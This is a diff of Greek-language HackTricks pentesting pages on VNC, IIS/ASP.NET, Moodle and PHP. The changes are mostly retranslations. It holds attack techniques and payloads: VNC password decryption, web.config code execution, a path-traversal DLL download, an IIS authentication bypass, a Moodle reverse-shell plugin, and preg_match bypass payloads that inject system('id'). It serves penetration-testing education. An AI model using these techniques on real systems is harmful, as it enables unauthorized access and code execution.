@ -164,9 +164,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- Αν στέλνετε ένα HTTP αίτημα, **βάλτε το ίδιο αίτημα το ένα μετά το άλλο** μέχρι **\~0.5MB** τουλάχιστον. Έτσι:
{% file src="../../images/posts.txt" %}
{{#file}}
posts.txt
{% endfile %}
{{#endfile}}
- Προσπαθήστε να **γεμίσετε το αίτημα με "σκουπίδια" δεδομένα σχετικά με το πρωτόκολλο** (μιλώντας για FTP ίσως απλά σκουπίδια εντολές ή επαναλαμβάνοντας την εντολή `RETR` για να αποκτήσετε το αρχείο)
- Απλά **γεμίστε το αίτημα με πολλούς μηδενικούς χαρακτήρες ή άλλους** (διαχωρισμένους σε γραμμές ή όχι)

View File

@ -2,10 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**Virtual Network Computing (VNC)** είναι ένα ισχυρό σύστημα κοινής χρήσης γραφικών επιφάνειας εργασίας που χρησιμοποιεί το πρωτόκολλο **Remote Frame Buffer (RFB)** για να επιτρέπει τον απομακρυσμένο έλεγχο και τη συνεργασία με έναν άλλο υπολογιστή. Με το VNC, οι χρήστες μπορούν να αλληλεπιδρούν απρόσκοπτα με έναν απομακρυσμένο υπολογιστή μεταδίδοντας γεγονότα πληκτρολογίου και ποντικιού αμφίδρομα. Αυτό επιτρέπει την πρόσβαση σε πραγματικό χρόνο και διευκολύνει την αποτελεσματική απομακρυσμένη βοήθεια ή συνεργασία μέσω ενός δικτύου.
**Virtual Network Computing (VNC)** είναι ένα ισχυρό σύστημα γραφικής επιφάνειας εργασίας που μοιράζεται, το οποίο χρησιμοποιεί το πρωτόκολλο **Remote Frame Buffer (RFB)** για να επιτρέπει τον απομακρυσμένο έλεγχο και τη συνεργασία με έναν άλλο υπολογιστή. Με το VNC, οι χρήστες μπορούν να αλληλεπιδρούν απρόσκοπτα με έναν απομακρυσμένο υπολογιστή μεταδίδοντας γεγονότα πληκτρολογίου και ποντικιού αμφίδρομα. Αυτό επιτρέπει την πρόσβαση σε πραγματικό χρόνο και διευκολύνει την αποτελεσματική απομακρυσμένη βοήθεια ή συνεργασία μέσω ενός δικτύου.
Το VNC συνήθως χρησιμοποιεί θύρες **5800 ή 5801 ή 5900 ή 5901.**
```
@ -27,20 +26,21 @@ vncviewer [-passwd passwd.txt] <IP>::5901
Ο προεπιλεγμένος **κωδικός αποθηκεύεται** στο: \~/.vnc/passwd
Αν έχετε τον κωδικό VNC και φαίνεται κρυπτογραφημένος (μερικά bytes, σαν να μπορούσε να είναι ένας κρυπτογραφημένος κωδικός), πιθανότατα είναι κρυπτογραφημένος με 3des. Μπορείτε να αποκτήσετε τον καθαρό κωδικό χρησιμοποιώντας [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
Αν έχετε τον κωδικό VNC και φαίνεται κρυπτογραφημένος (μερικά bytes, σαν να είναι κρυπτογραφημένος κωδικός), πιθανότατα είναι κρυπτογραφημένος με 3des. Μπορείτε να αποκτήσετε τον καθαρό κωδικό χρησιμοποιώντας [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
```
Μπορείτε να το κάνετε αυτό επειδή ο κωδικός πρόσβασης που χρησιμοποιήθηκε μέσα στο 3des για την κρυπτογράφηση των απλών κωδικών πρόσβασης VNC έχει αναστραφεί εδώ και χρόνια.\
Μπορείτε να το κάνετε αυτό επειδή ο κωδικός πρόσβασης που χρησιμοποιήθηκε μέσα στο 3des για την κρυπτογράφηση των απλών κωδικών πρόσβασης VNC έχει αντιστραφεί εδώ και χρόνια.\
Για **Windows** μπορείτε επίσης να χρησιμοποιήσετε αυτό το εργαλείο: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Αποθηκεύω το εργαλείο εδώ επίσης για ευκολία πρόσβασης:
{% file src="../images/vncpwd.zip" %}
{{#file}}
vncpwd.zip
{{#endfile}}
## Shodan
- `port:5900 RFB`
{{#include ../banners/hacktricks-training.md}}

View File

@ -29,15 +29,17 @@ X-FEServer: NHEXCHANGE2016
```
## Εκτέλεση αρχείων .config
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος να το κάνετε είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: [Κατεβάστε το παράδειγμα εδώ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος να το κάνετε αυτό είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας [εδώ](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Bruteforce Ανακάλυψης IIS
## Bruteforce Ανακάλυψη IIS
Κατεβάστε τη λίστα που έχω δημιουργήσει:
{% file src="../../images/iisfinal.txt" %}
{{#file}}
iisfinal.txt
{{#endfile}}
Δημιουργήθηκε συγχωνεύοντας τα περιεχόμενα των παρακάτω λιστών:
@ -75,12 +77,12 @@ Host: example-mvc-application.minded
- **EntityFramework** έκδοση
- **AppSettings** για ιστοσελίδες, έλεγχο πελατών και JavaScript
- **System.web** ρυθμίσεις για αυθεντικοποίηση και χρόνο εκτέλεσης
- **System.webServer** ρυθμίσεις modules
- **System.webServer** ρυθμίσεις μονάδων
- **Runtime** δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc**
Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το **/bin/WebGrease.dll**, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής.
### **Αρχεία Ρίζας Διευθύνσεων**
### **Αρχεία Ρίζας Διευθύνσου**
Αρχεία που βρίσκονται στη ρίζα διεύθυνση, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
@ -93,14 +95,14 @@ Host: example-mvc-application.minded
```
### **Λήψη DLLs**
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με το όνομα "**WebApplication1**" που υπάρχει στον κατάλογο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη του **WebApplication1.dll**:
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που βρίσκεται στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για τη λήψη του **WebApplication1.dll**:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Αυτό υποδηλώνει την παρουσία άλλων βασικών DLL, όπως το **System.Web.Mvc.dll** και το **System.Web.Optimization.dll**, στον φάκελο /bin.
Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδηλώνουν την παρουσία άλλης DLL, **WebApplication1.AdditionalFeatures.dll**.
Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία μιας άλλης DLL, **WebApplication1.AdditionalFeatures.dll**.
### Κοινά αρχεία
@ -185,16 +187,16 @@ C:\xampp\tomcat\conf\server.xml
Αν δείτε ένα σφάλμα όπως το παρακάτω:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Σημαίνει ότι ο διακομιστής **δεν έλαβε το σωστό όνομα τομέα** μέσα στην κεφαλίδα Host.\
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο **SSL Certificate** που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, ίσως χρειαστεί να **brute force VHosts** μέχρι να βρείτε το σωστό.
## Παλαιές ευπάθειες IIS που αξίζει να αναζητήσετε
## Παλιές ευπάθειες IIS που αξίζει να αναζητήσετε
### Ευπάθεια/Χαρακτηριστικό χαρακτήρα τιλντ “\~” του Microsoft IIS Αποκάλυψη σύντομων ονομάτων αρχείων/φακέλων
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
Μπορείτε να προσπαθήσετε να **καταγράψετε φακέλους και αρχεία** μέσα σε κάθε ανακαλυφθέντα φάκελο (ακόμα και αν απαιτεί Βασική Αυθεντικοποίηση) χρησιμοποιώντας αυτή τη **τεχνική**.\
Μπορείτε να προσπαθήσετε να **enumerate folders and files** μέσα σε κάθε ανακαλυφθέν φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την **τεχνική**.\
Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι **μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων.
Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -207,19 +209,19 @@ C:\xampp\tomcat\conf\server.xml
Μια καλή ιδέα για να **βρείτε το τελικό όνομα** των ανακαλυφθέντων αρχείων είναι να **ρωτήσετε LLMs** για επιλογές όπως γίνεται στο σενάριο [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Παράκαμψη Βασικής Αυθεντικοποίησης
### Basic Authentication bypass
**Παράκαμψη** μιας βασικής αυθεντικοποίησης (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php`
**Bypass** μιας βασικής αυθεντικοποίησης (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php`
Μπορείτε να προσπαθήσετε να **συνδυάσετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **παράκαμψετε** την αυθεντικοποίηση.
Μπορείτε να προσπαθήσετε να **μείξετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **bypass** την αυθεντικοποίηση.
## ASP.NET Trace.AXD ενεργοποιημένη αποσφαλμάτωσης
## ASP.NET Trace.AXD enabled debugging
Το ASP.NET περιλαμβάνει μια λειτουργία αποσφαλμάτωσης και το αρχείο του ονομάζεται `trace.axd`.
Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου.
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήματος και απόκρισης, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -227,19 +229,19 @@ C:\xampp\tomcat\conf\server.xml
## ASPXAUTH Cookie
Το ASPXAUTH χρησιμοποιεί τις εξής πληροφορίες:
Το ASPXAUTH χρησιμοποιεί τις παρακάτω πληροφορίες:
- **`validationKey`** (string): κλειδί σε μορφή hex για χρήση στην επικύρωση υπογραφής.
- **`decryptionMethod`** (string): (προεπιλογή “AES”).
- **`decryptionIV`** (string): αρχικοποιητικός διανύσματος σε μορφή hex (προεπιλογή σε διανύσμα μηδενικών).
- **`decryptionIV`** (string): αρχικοποιητικός διανύσματος σε μορφή hex (προεπιλογή ένα διανύσμα μηδενικών).
- **`decryptionKey`** (string): κλειδί σε μορφή hex για χρήση στην αποκρυπτογράφηση.
Ωστόσο, κάποιοι άνθρωποι θα χρησιμοποιήσουν τις **προεπιλεγμένες τιμές** αυτών των παραμέτρων και θα χρησιμοποιήσουν ως **cookie το email του χρήστη**. Επομένως, αν μπορείτε να βρείτε έναν ιστότοπο που χρησιμοποιεί την **ίδια πλατφόρμα** που χρησιμοποιεί το cookie ASPXAUTH και **δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε** στον διακομιστή που δέχεται επίθεση, μπορεί να είστε σε θέση να χρησιμοποιήσετε το cookie από τον δεύτερο διακομιστή στον πρώτο και να προσποιηθείτε τον χρήστη.\
Αυτή η επίθεση λειτούργησε σε αυτή την [**αναφορά**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
Αυτή η επίθεση λειτούργησε σε αυτή την [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Παράκαμψη Αυθεντικοποίησης IIS με αποθηκευμένους κωδικούς πρόσβασης (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Πλήρης αναφορά εδώ](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου το **hash κωδικού πρόσβασης χτυπά ένα κλειδί** που είναι ήδη στην **κρυφή μνήμη** θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου το **password hash χτυπά ένα κλειδί** που είναι ήδη στην **cache** θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
```python
# script for sanity check
> type test.py

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Αυτόματες Σαρώσεις
### droopescan
@ -75,7 +74,9 @@ cmsmap http://moodle.example.com/<moodle_path>
Στη συνέχεια, μπορείτε να **εγκαταστήσετε το παρακάτω πρόσθετο** που περιέχει το κλασικό pentest-monkey php r**ev shell** (_πριν το ανεβάσετε πρέπει να το αποσυμπιέσετε, να αλλάξετε τη διεύθυνση IP και την πόρτα του revshell και να το συμπιέσετε ξανά_)
{% file src="../../images/moodle-rce-plugin.zip" %}
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
Ή μπορείτε να χρησιμοποιήσετε το πρόσθετο από [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) για να αποκτήσετε μια κανονική PHP shell με την παράμετρο "cmd".

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## Κοινή τοποθεσία Cookies:
Αυτό ισχύει επίσης για τα cookies του phpMyAdmin.
@ -23,26 +22,28 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Χαλαρές συγκρίσεις/Τύποι Juggling ( == )
Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τις τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόβλεπτες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../images/image (567).png>)
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` Μια συμβολοσειρά που δεν ξεκινά με αριθμό είναι ίση με έναν αριθμό
- `"0xAAAA" == "43690" -> True` Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρημένη μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί ήταν οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)
- `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0
- `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0
- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Κάθε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
- `"X" == 0 --> True` Οποιοδήποτε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση):
**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε αυστηρή σύγκριση):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -94,10 +95,10 @@ echo preg_match("/^.*1.*$/",$myinput);
```
Βρείτε ένα παράδειγμα εδώ: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Μπαϊπάρισμα σφάλματος μήκους**
#### **Παράκαμψη σφάλματος μήκους**
(Αυτό το μπαϊπάρισμα δοκιμάστηκε προφανώς σε PHP 5.2.5 και δεν μπόρεσα να το κάνω να λειτουργήσει σε PHP 7.3.15)\
Αν μπορείτε να στείλετε στο `preg_match()` μια έγκυρη πολύ **μεγάλη είσοδο**, **δεν θα μπορεί να την επεξεργαστεί** και θα μπορείτε να **μπαϊπάρετε** τον έλεγχο. Για παράδειγμα, αν αποκλείει ένα JSON, θα μπορούσατε να στείλετε:
(Αυτή η παράκαμψη δοκιμάστηκε προφανώς σε PHP 5.2.5 και δεν μπόρεσα να την κάνω να λειτουργήσει σε PHP 7.3.15)\
Αν μπορείτε να στείλετε στο `preg_match()` μια έγκυρη πολύ **μεγάλη είσοδο**, **δεν θα μπορεί να την επεξεργαστεί** και θα μπορείτε να **παρακάμψετε** τον έλεγχο. Για παράδειγμα, αν αποκλείει ένα JSON, θα μπορούσατε να στείλετε:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -112,10 +113,9 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβο. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβο.
[Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστέψει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -152,16 +152,16 @@ Check:
## More tricks
- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να αποκτά πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
- Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό.\
Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει έναν **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, θα χρησιμοποιηθούν μόνο τα πρώτα 72B:
